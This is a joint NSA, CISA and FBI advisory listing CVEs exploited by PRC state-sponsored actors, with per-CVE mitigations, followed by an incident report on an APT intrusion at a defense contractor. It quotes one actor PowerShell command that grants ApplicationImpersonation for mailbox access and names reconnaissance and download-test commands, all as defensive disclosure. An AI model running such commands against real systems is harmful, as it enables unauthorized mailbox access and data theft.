Top CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors


Technical Details

NSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques—some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.

PRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.

Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020



Vulnerability Type

Apache Log4j


Remote Code Execution

Pulse Connect Secure


Arbitrary File Read

GitLab CE/EE


Remote Code Execution



Remote Code Execution

Microsoft Exchange


Remote Code Execution

F5 Big-IP


Remote Code Execution

VMware vCenter Server


Arbitrary File Upload

Citrix ADC


Path Traversal

Cisco Hyperflex


Command Line Execution

Buffalo WSR


Relative Path Traversal

Atlassian Confluence Server and Data Center


Remote Code Execution

Hikvision Webserver


Command Injection

Sitecore XP


Remote Code Execution

F5 Big-IP


Remote Code Execution



Authentication Bypass by Spoofing



Remote Code Execution



Remote Code Execution



Remote Code Execution



Remote Code Execution

Apache HTTP Server


Path Traversal

These state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices.


NSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.

Appendix A

Table II: Apache CVE-2021-44228

Apache CVE-2021-44228 CVSS 3.0: 10 (Critical)

Vulnerability Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Recommended Mitigations

  • Apply patches provided by vendor and perform required system updates.

Detection Methods

Vulnerable Technologies and Versions

There are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check

Table III: Pulse CVE-2019-11510

Pulse CVE-2019-11510 CVSS 3.0: 10 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability.

Recommended Mitigations

  • Apply patches provided by vendor and perform required system updates.

Detection Methods

  • Use CISA’s “Check Your Pulse” Tool.

Vulnerable Technologies and Versions

Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4

Table IV: GitLab CVE-2021-22205

GitLab CVE-2021-22205 CVSS 3.0: 10 (Critical)

Vulnerability Description

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution.

Recommended Mitigations

  • Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab.
  • Hotpatch is available via GitLab.

Detection Methods

  • Investigate logfiles.
  • Check GitLab Workhorse.

Vulnerable Technologies and Versions

Gitlab CE/EE.

Table V: Atlassian CVE-2022-26134

Atlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1.

Recommended Mitigations 

  • Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions. 
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.
  • Short term workaround is provided here.

Detection Methods


Vulnerable Technologies and Versions

All supported versions of Confluence Server and Data Center

Confluence Server and Data Center versions after 1.3.0

Table VI: Microsoft CVE-2021-26855

Microsoft CVE-2021-26855                                                     CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Microsoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor  who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity.

Recommended Mitigations

  • Apply the appropriate Microsoft Security Update.
  • Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871)
  • Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871)
  • Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871)
  • Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871)
  • Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871)
  • Restrict untrusted connections.

Detection Methods

  • Analyze Exchange product logs for evidence of exploitation.
  • Scan for known webshells.

Vulnerable Technologies and Versions

Microsoft Exchange 2013, 2016, and 2019.

Table VII: F5 CVE-2020-5902

Table VIII: VMware CVE-2021-22005

VMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.

Recommended Mitigations

Detection Methods


Vulnerable Technologies and Versions

VMware Cloud Foundation

VMware VCenter Server

Table IX: Citrix CVE-2019-19781

Citrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

Recommended Mitigations

Detection Methods


Vulnerable Technologies and Versions

Citrix ADC, Gateway, and SD-WAN WANOP

Table X: Cisco CVE-2021-1497

Cisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory.

Recommended Mitigations

  • Apply Cisco software updates.

Detection Methods

  • Look at the Snort Rules provided by Cisco.

Vulnerable Technologies and Versions

Cisco Hyperflex Hx Data Platform 4.0(2A)

Table XI: Buffalo CVE-2021-20090

Buffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication.

Recommended Mitigations

  • Update firmware to latest available version.


Detection Methods

Vulnerable Technologies and Versions

Buffalo Wsr-2533Dhpl2-Bk Firmware

Buffalo Wsr-2533Dhp3-Bk Firmware

Table XII: Atlassian CVE-2021-26084

Atlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5.

Recommended Mitigations

  • Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0.
  • Avoid using end-of-life devices.
  • Use Intrusion Detection Systems (IDS).

Detection Methods


Vulnerable Technologies and Versions

Atlassian Confluence

Atlassian Confluence Server

Atlassian Data Center

Atlassian Jira Data Center

Table XIII: Hikvision CVE-2021-36260

Hikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands.

Recommended Mitigations

  • Apply the latest firmware updates.

Detection Methods


Vulnerable Technologies and Versions

Various Hikvision Firmware to include Ds, Ids, and Ptz


Table XIV: Sitecore CVE-2021-42237

Sitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability.

Recommended Mitigations

  • Update to latest version.
  • Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx.

Detection Methods

Vulnerable Technologies and Versions

Sitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2

Sitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7

Sitecore Experience Platform 8.0 Service Pack 1

Sitecore Experience Platform 8.1, and  Update 1-Update 3

Sitecore Experience Platform 8.2, and Update 1-Update 7

Table XV: F5 CVE-2022-1388

F5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to, 15.1.x versions prior to, 14.1.x versions prior to, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Recommended Mitigations

  • Block iControl REST access through the self IP address.
  • Block iControl REST access through the management interface.
  • Modify the BIG-IP httpd configuration.

Detection Methods


Vulnerable Technologies and Versions

Big IP versions:







Table XVI: Apache CVE-2022-24112

Apache CVE-2022-24112 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

A malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.

Recommended Mitigations

  • In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX.
  • Update to 2.10.4 or 2.12.1.

Detection Methods


Vulnerable Technologies and Versions

Apache APISIX between 1.3 and 2.12.1 (excluding 2.12.1)

LTS versions of Apache APISIX between 2.10.0 and 2.10.4

Table XVII: ZOHO CVE-2021-40539

ZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.

Recommended Mitigations

  • Upgrade to latest version.

Detection Methods

  • Run ManageEngine’s detection tool.
  • Check for specific files and logs.

Vulnerable Technologies and Versions

Zoho Corp ManageEngine ADSelfService Plus

Table XVIII: Microsoft CVE-2021-26857

Microsoft CVE-2021-26857 CVSS 3.0: 7.8 (High)

Vulnerability Description

Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.

Recommended Mitigations

  • Update to support latest version.
  • Install Microsoft security patch.
  • Use Microsoft Exchange On-Premises Mitigation Tool.

Detection Methods

  • Run Exchange script:
  • Hashes can be found here:

Vulnerable Technologies and Versions

Microsoft Exchange Servers

Table XIX: Microsoft CVE-2021-26858

Table XX: Microsoft CVE-2021-27065

Table XXI: Apache CVE-2021-41773

Apache CVE-2021-41773 CVSS 3.0: 7.5 (High)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied,” these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013).

Recommended Mitigations

Detection Methods

  • Commercially available scanners can detect CVE.

Vulnerable Technologies and Versions

Apache HTTP Server 2.4.49 and 2.4.50

Fedoraproject Fedora 34 and 35

Oracle Instantis Enterprise Track 17.1-17.3

Netapp Cloud Backup


Initial Publication: October 6, 2022


Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization

Actions to Help Protect Against APT Cyber Activity:

• Enforce multifactor authentication (MFA) on all user accounts.
• Implement network segmentation to separate network segments based on role and functionality.
• Update software, including operating systems, applications, and firmware, on network assets.
• Audit account usage.

From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data.

This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks.

Download the PDF version of this report: pdf, 692 KB

For a downloadable copy of IOCs, see the following files:

Threat Actor Activity

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework.

From November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted –third-party identified APT activity on the victim’s network.

Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN).

Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2\he\debug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system.

In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA MAR-10365227-2 and -3.

In April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information.

APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.

Use of Impacket

CISA discovered activity indicating the use of two Impacket tools: and These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network.

The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization’s multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange:

powershell add-pssnapin *exchange*;New-ManagementRoleAssignment – name:”Journaling-Logs” -Role:ApplicationImpersonation -User:<account>

This command gave the service account the ability to access other users’ mailboxes.

The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247.

Use of Custom Exfiltration Tool: CovalentStealer

The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files.

CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim’s documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA MAR-10365227-1 for additional technical details, including IOCs and detection signatures.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors.

Table 1: Identified APT Enterprise ATT&CK Tactics and Techniques

Initial Access

Technique Title



Valid Accounts


Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.


Technique Title



Windows Management Instrumentation


Actors used Impacket tools and to leverage Windows Management Instrumentation and execute malicious commands.

Command and Scripting Interpreter


Actors abused command and script interpreters to execute commands.

Command and Scripting Interpreter: PowerShell


Actors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information.

Command and Scripting Interpreter: Windows Command Shell


Actors abused the Windows Command Shell to learn about the organization’s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

The actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell.

Command and Scripting Interpreter: Python


The actors used two Impacket tools: and

Shared Modules


Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.

System Services


Actors abused system services to execute commands or programs on the victim’s network.


Technique Title



Valid Accounts


Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.

Create or Modify System Process


Actors were observed creating or modifying system processes.

Privilege Escalation

Technique Title



Valid Accounts


Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Defense Evasion

Technique Title



Masquerading: Match Legitimate Name or Location


Actors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation.

Indicator Removal on Host


Actors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses.

Indicator Removal on Host: File Deletion


Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards.

Valid Accounts


Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Virtualization/Sandbox Evasion: System Checks


Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information.

Impair Defenses: Disable or Modify Tools


Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID.

Hijack Execution Flow


Actors were observed using hijack execution flow.


Technique Title



System Network Configuration Discovery


Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine.

The threat actor used route print to display the entries in the local IP routing table.

System Network Configuration Discovery: Internet Connection Discovery


Actors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways.

System Owner/User Discovery


Actors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system.

System Network Connections Discovery


Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP.

Process Discovery


Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine.

The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers.”

System Information Discovery


Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine.

File and Directory Discovery


Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system.

Virtualization/Sandbox Evasion: System Checks


Actors used Windows command shell commands to detect and avoid virtualization and analysis environments.

Lateral Movement

Technique Title



Remote Services: SMB/Windows Admin Shares


Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user.


Technique Title



Archive Collected Data: Archive via Utility


Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration.

Data from Network Shared Drive


Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest.

The actors used dir.exe to display a list of a directory’s files and subdirectories matching a certain text string.

Data Staged: Remote Data Staging


The actors split collected files into approximately
3 MB chunks located on the Exchange server within the CU2\he\debug directory.

Command and Control

Technique Title



Non-Application Layer Protocol


Actors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network.

Ingress Tool Transfer


Actors used the certutil command with three switches to test if they could download files from the internet.

The actors employed CovalentStealer to exfiltrate the files.



Actors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely.


Technique Title



Schedule Transfer


Actors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity.

Exfiltration Over Web Service: Exfiltration to Cloud Storage


The actor’s CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder.


Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to:

  • Monitor logs for connections from unusual VPSs and VPNs. Examine connection logs for access from unexpected ranges, particularly from machines hosted by SurfShark and M247.
  • Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). To detect use of compromised credentials in combination with a VPS, follow the steps below:
    • Review logs for “impossible logins,” such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location.
    • Search for “impossible travel,” which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). Note: This detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks.
    • Search for one IP used across multiple accounts, excluding expected logins.
      • Take note of any M247-associated IP addresses used along with VPN providers (e.g., SurfShark). Look for successful remote logins (e.g., VPN, OWA) for IPs coming from M247- or using SurfShark-registered IP addresses.
    • Identify suspicious privileged account use after resetting passwords or applying user account mitigations.
    • Search for unusual activity in typically dormant accounts.
    • Search for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
  • Review the YARA rules provided in MAR-10365227-1 to assist in determining whether malicious activity has been observed.
  • Monitor for the installation of unauthorized software, including Remote Server Administration Tools (e.g., psexec, RdClient, VNC, and ScreenConnect).
  • Monitor for anomalous and known malicious command-line use. See Appendix: Windows Command Shell Activity for commands used by the actors to interact with the victim’s environment.
  • Monitor for unauthorized changes to user accounts (e.g., creation, permission changes, and enabling a previously disabled account).


Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry:

  • Report the incident. Report the incident to U.S. Government authorities and follow your organization’s incident response plan.
  • Reset all login accounts. Reset all accounts used for authentication since it is possible that the threat actors have additional stolen credentials. Password resets should also include accounts outside of Microsoft Active Directory, such as network infrastructure devices and other non-domain joined devices (e.g., IoT devices).
  • Monitor SIEM logs and build detections. Create signatures based on the threat actor TTPs and use these signatures to monitor security logs for any signs of threat actor re-entry.
  • Enforce MFA on all user accounts. Enforce phishing-resistant MFA on all accounts without exception to the greatest extent possible.
  • Follow Microsoft’s security guidance for Active DirectoryBest Practices for Securing Active Directory.
  • Audit accounts and permissions. Audit all accounts to ensure all unused accounts are disabled or removed and active accounts do not have excessive privileges. Monitor SIEM logs for any changes to accounts, such as permission changes or enabling a previously disabled account, as this might indicate a threat actor using these accounts.
  • Harden and monitor PowerShell by reviewing guidance in the joint Cybersecurity Information Sheet—Keeping PowerShell: Security Measures to Use and Embrace.

Mitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture.

Segment Networks Based on Function

  • Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for ransomware and other threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Infographic on Layering Network Security Through Segmentation and NSA’s Segment Networks and Deploy Application-Aware Defenses.)
  • Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt Zero Trust (ZT) principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration.

Manage Vulnerabilities and Configurations

  • Update software, including operating systems, applications, and firmware, on network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
  • Implement a configuration change control process that securely creates device configuration backups to detect unauthorized modifications. When a configuration change is needed, document the change, and include the authorization, purpose, and mission justification. Periodically verify that modifications have not been applied by comparing current device configurations with the most recent backups. If suspicious changes are observed, verify the change was authorized.

Search for Anomalous Behavior

  • Use cybersecurity visibility and analytics tools to improve detection of anomalous behavior and enable dynamic changes to policy and other response actions. Visibility tools include network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Monitor the use of scripting languages (e.g., Python, Powershell) by authorized and unauthorized users. Anomalous use by either group may be indicative of malicious activity, intentional or otherwise.

Restrict and Secure Use of Remote Admin Tools

  • Limit the number of remote access tools as well as who and what can be accessed using them. Reducing the number of remote admin tools and their allowed access will increase visibility of unauthorized use of these tools.
  • Use encrypted services to protect network communications and disable all clear text administration services(e.g., Telnet, HTTP, FTP, SNMP 1/2c). This ensures that sensitive information cannot be easily obtained by a threat actor capturing network traffic.

Implement a Mandatory Access Control Model

  • Implement stringent access controls to sensitive data and resources. Access should be restricted to those users who require access and to the minimal level of access needed.

Audit Account Usage

  • Monitor VPN logins to look for suspicious access (e.g., logins from unusual geo locations, remote logins from accounts not normally used for remote access, concurrent logins for the same account from different locations, unusual times of the day).
  • Closely monitor the use of administrative accounts. Admin accounts should be used sparingly and only when necessary, such as installing new software or patches. Any use of admin accounts should be reviewed to determine if the activity is legitimate.
  • Ensure standard user accounts do not have elevated privileges Any attempt to increase permissions on standard user accounts should be investigated as a potential compromise.


In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 1).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze the performance of your detection and prevention technologies.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.


CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See

U.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email [email protected].


CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA.


Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. When interacting with the victim’s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed.

On the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization’s environment and to collect sensitive data for eventual exfiltration (see Table 2).

Table 2: Windows Command Shell Activity (Day 1)


Description / Use

net share

Used to create, configure, and delete network shares from the command-line.[1] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit.

powershell dir

